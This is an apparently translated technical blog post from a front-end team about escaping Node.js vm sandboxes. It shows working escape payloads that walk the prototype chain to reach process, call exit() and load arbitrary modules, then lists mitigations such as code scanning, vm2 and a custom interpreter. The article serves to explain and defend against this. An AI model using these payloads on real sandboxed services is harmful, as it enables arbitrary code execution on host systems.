Can Node.js vm Sandbox Be Escaped? Understanding vm Security and Escape Techniques
This article explains how Node.js's vm module creates isolated execution contexts, demonstrates several sandbox‑escape techniques using prototype chain manipulation, and offers practical solutions such as code scanning, using vm2, or building a custom interpreter to mitigate security risks.
Background
In everyday development, developers sometimes use eval, Function, or Node.js's vm module to execute dynamic JavaScript. While eval and Function run code in the current context, vm provides a separate V8 context that can isolate the execution environment and help protect against malicious code.
Basic Introduction to vm
The vm module can compile and run code inside a configurable context, enabling sandboxing. A simple example shows how a custom context limits access to only the objects defined within it.
const vm = require("vm");
const x = 1;
const y = 2;
const context = { x: 2, console };
vm.createContext(context); // context isolation
const code = "console.log(x); console.log(y)";
vm.runInContext(code, context);
// prints 2
// ReferenceError: y is not definedBecause the context does not contain y, the code cannot access it, illustrating the isolation capability.
Sandbox Escape
Node.js documentation warns that the vm module is not a security mechanism and should not be used to run untrusted code. The following example demonstrates a classic escape:
const vm = require("vm");
const ctx = {};
vm.runInNewContext(
'this.constructor.constructor("return process")().exit()',
ctx
);
console.log("Never gets executed.");Here this points to ctx; through the prototype chain the code reaches the outer Function constructor, obtains process, and calls exit().
The escape can be broken down as:
tmp = ctx.constructor; // Object
exec = tmp.constructor; // Function
exec("return Process");If the context object's prototype is set to null, the above path fails:
const ctx = Object.create(null);Attempting ctx.constructor now throws an error, preventing the escape. However, a more sophisticated escape still works when a property is added to the null‑prototype context:
const vm = require("vm");
const ctx = Object.create(null);
ctx.data = {};
vm.runInNewContext(
'this.data.constructor.constructor("return process")().exit()',
ctx
);
// escape succeeds!
console.log("Never gets executed.");The reason is that every JavaScript object ultimately inherits from Object.prototype, which links to Function. Thus, even with a null prototype, adding a property that references the prototype chain enables access to the global Function and completes the escape.
After escaping, the attacker can retrieve require and load arbitrary modules, as shown below:
const vm = require("vm");
const ctx = { console };
vm.runInNewContext(
`
var exec = this.constructor.constructor;
var require = exec('return process.mainModule.constructor._load')();
console.log(require('fs'));
`,
ctx
);The diagram illustrates how the sandboxed context can reach the outer Function via the prototype chain.
Summary
Because of JavaScript's prototype inheritance, a sandbox created with vm can still access the global Function object and execute arbitrary code. The official recommendation stands: only run trusted code inside vm. Dynamic execution features like eval, Function, and vm should be reserved for trusted scenarios such as template engines, HTML5 games, or highly configurable systems.
Solutions
Pre‑process code: perform security scanning and enforce syntax restrictions.
Use the vm2 module, which adds proxy‑based checks (though it may still have undiscovered escape vectors).
Implement a custom interpreter and control object creation and property access at the interpreter level.
Aotu Lab
Aotu Lab, founded in October 2015, is a front-end engineering team serving multi-platform products. The articles in this public account are intended to share and discuss technology, reflecting only the personal views of Aotu Lab members and not the official stance of JD.com Technology.
How this landed with the community
Was this worth your time?
0 Comments
Thoughtful readers leave field notes, pushback, and hard-won operational detail here.
